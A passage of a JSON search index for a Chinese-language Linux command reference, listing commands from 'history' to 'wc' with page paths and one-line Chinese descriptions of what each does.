:"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"